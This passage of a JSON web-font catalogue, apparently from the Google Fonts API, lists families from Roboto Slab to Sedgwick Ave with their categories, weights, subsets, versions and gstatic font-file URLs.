"500": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjovoSWaG5iddG-1A.ttf", "600": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoUoOWaG5iddG-1A.ttf", "700": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoa4OWaG5iddG-1A.ttf", "800": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDIOWaG5iddG-1A.ttf", "900": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoJYOWaG5iddG-1A.ttf" } }, { "kind": "webfonts#webfont", "family": "Rochester", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rochester/v10/6ae-4KCqVa4Zy6Fif-Uy31vWNTMwoQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Rock Salt", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rocksalt/v10/MwQ0bhv11fWD6QsAVOZbsEk7hbBWrA.ttf" } }, { "kind": "webfonts#webfont", "family": "Rokkitt", "category": "serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v18", "lastModified": "2020-02-05", "files": { "100": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rydpDLE76HvN6n.ttf", "200": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pyd5DLE76HvN6n.ttf", "300": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1qsd5DLE76HvN6n.ttf", "regular": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1ryd5DLE76HvN6n.ttf", "500": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rAd5DLE76HvN6n.ttf", "600": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oscJDLE76HvN6n.ttf", "700": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oVcJDLE76HvN6n.ttf", "800": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pycJDLE76HvN6n.ttf", "900": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pbcJDLE76HvN6n.ttf" } }, { "kind": "webfonts#webfont", "family": "Romanesco", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/romanesco/v8/w8gYH2ozQOY7_r_J7mSn3HwLqOqSBg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ropa Sans", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/ropasans/v9/EYqxmaNOzLlWtsZSScyKWjloU5KP2g.ttf", "italic": "http://fonts.gstatic.com/s/ropasans/v9/EYq3maNOzLlWtsZSScy6WDNscZef2mNE.ttf" } }, { "kind": "webfonts#webfont", "family": "Rosario", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700", "300italic", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v17", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM69GCWczd-YnOzUD.ttf", "regular": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68YCWczd-YnOzUD.ttf", "500": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68qCWczd-YnOzUD.ttf", "600": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6_GDmczd-YnOzUD.ttf", "700": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6__Dmczd-YnOzUD.ttf", "300italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQStFwfeIFPiUDn08.ttf", "italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSo9wfeIFPiUDn08.ttf", "500italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSr1wfeIFPiUDn08.ttf", "600italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSlF3feIFPiUDn08.ttf", "700italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSmh3feIFPiUDn08.ttf" } }, { "kind": "webfonts#webfont", "family": "Rosarivo", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rosarivo/v7/PlI-Fl2lO6N9f8HaNAeC2nhMnNy5.ttf", "italic": "http://fonts.gstatic.com/s/rosarivo/v7/PlI4Fl2lO6N9f8HaNDeA0Hxumcy5ZX8.ttf" } }, { "kind": "webfonts#webfont", "family": "Rouge Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rougescript/v8/LYjFdGbiklMoCIQOw1Ep3S4PVPXbUJWq9g.ttf" } }, { "kind": "webfonts#webfont", "family": "Rozha One", "category": "serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rozhaone/v7/AlZy_zVFtYP12Zncg2khdXf4XB0Tow.ttf" } }, { "kind": "webfonts#webfont", "family": "Rubik", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "hebrew", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7Fqj1ma-2HW7ZB_.ttf", "300italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nEldWY8WX06IB_18o.ttf", "regular": "http://fonts.gstatic.com/s/rubik/v9/iJWKBXyIfDnIV4nGp32S0H3f.ttf", "italic": "http://fonts.gstatic.com/s/rubik/v9/iJWEBXyIfDnIV7nErXmw1W3f9Ik.ttf", "500": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7Eyjlma-2HW7ZB_.ttf", "500italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElY2Z8WX06IB_18o.ttf", "700": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7F6iFma-2HW7ZB_.ttf", "700italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElcWf8WX06IB_18o.ttf", "900": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7FCilma-2HW7ZB_.ttf", "900italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElf2d8WX06IB_18o.ttf" } }, { "kind": "webfonts#webfont", "family": "Rubik Mono One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rubikmonoone/v8/UqyJK8kPP3hjw6ANTdfRk9YSN-8wRqQrc_j9.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruda", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v12", "lastModified": "2020-02-25", "files": { "regular": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJFsi_-2KiSGg-H.ttf", "500": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJ3si_-2KiSGg-H.ttf", "600": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKbtS_-2KiSGg-H.ttf", "700": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKitS_-2KiSGg-H.ttf", "800": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLFtS_-2KiSGg-H.ttf", "900": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLstS_-2KiSGg-H.ttf" } }, { "kind": "webfonts#webfont", "family": "Rufina", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rufina/v7/Yq6V-LyURyLy-aKyoxRktOdClg.ttf", "700": "http://fonts.gstatic.com/s/rufina/v7/Yq6W-LyURyLy-aKKHztAvMxenxE0SA.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruge Boogie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rugeboogie/v10/JIA3UVFwbHRF_GIWSMhKNROiPzUveSxy.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruluko", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ruluko/v7/xMQVuFNZVaODtm0pC6WzKX_QmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Rum Raisin", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rumraisin/v7/nwpRtKu3Ih8D5avB4h2uJ3-IywA7eMM.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruslan Display", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ruslandisplay/v10/Gw6jwczl81XcIZuckK_e3UpfdzxrldyFvm1n.ttf" } }, { "kind": "webfonts#webfont", "family": "Russo One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/russoone/v8/Z9XUDmZRWg6M1LvRYsH-yMOInrib9Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruthie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ruthie/v10/gokvH63sGkdqXuU9lD53Q2u_mQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Rye", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rye/v7/r05XGLJT86YDFpTsXOqx4w.ttf" } }, { "kind": "webfonts#webfont", "family": "Sacramento", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sacramento/v7/buEzpo6gcdjy0EiZMBUG0CoV_NxLeiw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sahitya", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sahitya/v4/6qLAKZkOuhnuqlJAaScFPywEDnI.ttf", "700": "http://fonts.gstatic.com/s/sahitya/v4/6qLFKZkOuhnuqlJAUZsqGyQvEnvSexI.ttf" } }, { "kind": "webfonts#webfont", "family": "Sail", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sail/v10/DPEjYwiBxwYJFBTDADYAbvw.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/saira/v4/mem-Ya2wxmKQyNFETZY_VrUfTck.ttf", "200": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNHobLYVeLkWVNBt.ttf", "300": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGMb7YVeLkWVNBt.ttf", "regular": "http://fonts.gstatic.com/s/saira/v4/memwYa2wxmKQyOkgR5IdU6Uf.ttf", "500": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNHUbrYVeLkWVNBt.ttf", "600": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNH4abYVeLkWVNBt.ttf", "700": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGcaLYVeLkWVNBt.ttf", "800": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGAa7YVeLkWVNBt.ttf", "900": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGkarYVeLkWVNBt.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRMQgErUN8XuHNEtX81i9TmEkrnwetA2omSrzS8.ttf", "200": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnbcpg8Keepi2lHw.ttf", "300": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnCclg8Keepi2lHw.ttf", "regular": "http://fonts.gstatic.com/s/sairacondensed/v5/EJROQgErUN8XuHNEtX81i9TmEkrfpeFE-IyCrw.ttf", "500": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnUchg8Keepi2lHw.ttf", "600": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnfc9g8Keepi2lHw.ttf", "700": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnGc5g8Keepi2lHw.ttf", "800": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnBc1g8Keepi2lHw.ttf", "900": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnIcxg8Keepi2lHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Extra Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFsOHYr-vcC7h8MklGBkrvmUG9rbpkisrTri0jx9i5ss3a3.ttf", "200": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrJ2nR3ABgum-uoQ.ttf", "300": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrQ2rR3ABgum-uoQ.ttf", "regular": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFiOHYr-vcC7h8MklGBkrvmUG9rbpkisrTT70L11Ct8sw.ttf", "500": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrG2vR3ABgum-uoQ.ttf", "600": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrN2zR3ABgum-uoQ.ttf", "700": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrU23R3ABgum-uoQ.ttf", "800": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrT27R3ABgum-uoQ.ttf", "900": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTra2_R3ABgum-uoQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Semi Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MN6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXdvaOM8rXT-8V8.ttf", "200": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfDScMWg3j36Ebz.ttf", "300": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXenSsMWg3j36Ebz.ttf", "regular": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MD6c-2-nnJkHxyCjRcnMHcWVWV1cWRRU8LYuceqGT-.ttf", "500": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXf_S8MWg3j36Ebz.ttf", "600": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfTTMMWg3j36Ebz.ttf", "700": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXe3TcMWg3j36Ebz.ttf", "800": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXerTsMWg3j36Ebz.ttf", "900": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXePT8MWg3j36Ebz.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Stencil One", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/sairastencilone/v1/SLXSc03I6HkvZGJ1GvvipLoYSTEL9AsMawif2YQ2.ttf" } }, { "kind": "webfonts#webfont", "family": "Salsa", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/salsa/v9/gNMKW3FiRpKj-imY8ncKEZez.ttf" } }, { "kind": "webfonts#webfont", "family": "Sanchez", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sanchez/v7/Ycm2sZJORluHnXbITm5b_BwE1l0.ttf", "italic": "http://fonts.gstatic.com/s/sanchez/v7/Ycm0sZJORluHnXbIfmxR-D4Bxl3gkw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sancreek", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sancreek/v10/pxiHypAnsdxUm159X7D-XV9NEe-K.ttf" } }, { "kind": "webfonts#webfont", "family": "Sansita", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sansita/v4/QldONTRRphEb_-V7HBm7TXFf3qw.ttf", "italic": "http://fonts.gstatic.com/s/sansita/v4/QldMNTRRphEb_-V7LBuxSVNazqx2xg.ttf", "700": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JKWUaXl0wqVv3_g.ttf", "700italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJ9Xx-xodqz_joDQ.ttf", "800": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JLmXaXl0wqVv3_g.ttf", "800italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJ6X9-xodqz_joDQ.ttf", "900": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JJ2WaXl0wqVv3_g.ttf", "900italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJzX5-xodqz_joDQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarabun", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v7", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/sarabun/v7/DtVhJx26TKEr37c9YHZJmnYI5gnOpg.ttf", "100italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVnJx26TKEr37c9aBBx_nwMxAzephhN.ttf", "200": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YNpoulwm6gDXvwE.ttf", "200italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxUl0s7iLSrwFUlw.ttf", "300": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YL5rulwm6gDXvwE.ttf", "300italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxNl4s7iLSrwFUlw.ttf", "regular": "http://fonts.gstatic.com/s/sarabun/v7/DtVjJx26TKEr37c9WBJDnlQN9gk.ttf", "italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVhJx26TKEr37c9aBBJmnYI5gnOpg.ttf", "500": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YOZqulwm6gDXvwE.ttf", "500italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxbl8s7iLSrwFUlw.ttf", "600": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YMptulwm6gDXvwE.ttf", "600italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxQlgs7iLSrwFUlw.ttf", "700": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YK5sulwm6gDXvwE.ttf", "700italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxJlks7iLSrwFUlw.ttf", "800": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YLJvulwm6gDXvwE.ttf", "800italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxOlos7iLSrwFUlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarala", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sarala/v4/uK_y4riEZv4o1w9RCh0TMv6EXw.ttf", "700": "http://fonts.gstatic.com/s/sarala/v4/uK_x4riEZv4o1w9ptjI3OtWYVkMpXA.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarina", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sarina/v8/-F6wfjF3ITQwasLhLkDUriBQxw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarpanch", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sarpanch/v5/hESy6Xt4NCpRuk6Pzh2ARIrX_20n.ttf", "500": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziV0ba7f1HEuRHkM.ttf", "600": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziVYaq7f1HEuRHkM.ttf", "700": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziU8a67f1HEuRHkM.ttf", "800": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziUgaK7f1HEuRHkM.ttf", "900": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziUEaa7f1HEuRHkM.ttf" } }, { "kind": "webfonts#webfont", "family": "Satisfy", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/satisfy/v10/rP2Hp2yn6lkG50LoOZSCHBeHFl0.ttf" } }, { "kind": "webfonts#webfont", "family": "Sawarabi Gothic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "japanese", "vietnamese", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/sawarabigothic/v8/x3d4ckfVaqqa-BEj-I9mE65u3k3NBSk3E2YljQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Sawarabi Mincho", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "japanese", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/sawarabimincho/v10/8QIRdiDaitzr7brc8ahpxt6GcIJTLahP46UDUw.ttf" } }, { "kind": "webfonts#webfont", "family": "Scada", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/scada/v8/RLpxK5Pv5qumeWJoxzUobkvv.ttf", "italic": "http://fonts.gstatic.com/s/scada/v8/RLp_K5Pv5qumeVJqzTEKa1vvffg.ttf", "700": "http://fonts.gstatic.com/s/scada/v8/RLp8K5Pv5qumeVrU6BEgRVfmZOE5.ttf", "700italic": "http://fonts.gstatic.com/s/scada/v8/RLp6K5Pv5qumeVJq9Y0lT1PEYfE5p6g.ttf" } }, { "kind": "webfonts#webfont", "family": "Scheherazade", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "arabic", "latin" ], "version": "v17", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/scheherazade/v17/YA9Ur0yF4ETZN60keViq1kQgt5OohvbJ9A.ttf", "700": "http://fonts.gstatic.com/s/scheherazade/v17/YA9Lr0yF4ETZN60keViq1kQYC7yMjt3V_dB0Yw.ttf" } }, { "kind": "webfonts#webfont", "family": "Schoolbell", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/schoolbell/v10/92zQtBZWOrcgoe-fgnJIVxIQ6mRqfiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Scope One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/scopeone/v6/WBLnrEXKYFlGHrOKmGD1W0_MJMGxiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Seaweed Script", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/seaweedscript/v7/bx6cNx6Tne2pxOATYE8C_Rsoe0WJ-KcGVbLW.ttf" } }, { "kind": "webfonts#webfont", "family": "Secular One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/secularone/v4/8QINdiTajsj_87rMuMdKypDlMul7LJpK.ttf" } }, { "kind": "webfonts#webfont", "family": "Sedgwick Ave", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sedgwickave/v5/uK_04rKEYuguzAcSYRdWTJq8Xmg1Vcf5JA.ttf" } }, { "kind": 